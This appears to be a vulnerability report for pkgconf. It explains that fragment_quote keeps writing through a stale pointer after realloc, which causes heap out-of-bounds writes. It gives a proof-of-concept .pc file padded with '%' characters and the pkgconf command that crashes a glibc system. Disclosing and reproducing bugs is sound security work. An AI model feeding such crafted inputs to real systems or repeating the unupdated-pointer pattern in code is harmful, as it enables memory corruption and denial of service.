fragment_quote adds quotation to fragments if needed. It allocates a
buffer and grows it as needed.
Unfortunately the dst pointer is not updated after a realloc, which
means that dst still points into the old memory area. Further writing
characters into that area leads to out of boundy writes.
Proof of concept:
$ cat > poc.pc << EOF
Name: poc
Description: poc
Version: 1
CFlags: -Ia
CFlags: -I%%%%%%%%%%%%%%%%%%%%b
CFlags: -I%%%%%%%%%%%%%%%%%%%%c
CFlags: -Id
EOF
$ pkgconf --cflags poc.pc
Most reliable attempt is to compile pkgconf with address sanitizer,
but this file should lead to an abort on a glibc system due to modified
chunk pointers (tested with Linux on amd64).
But since this is undefined behaviour, it depends on system details.
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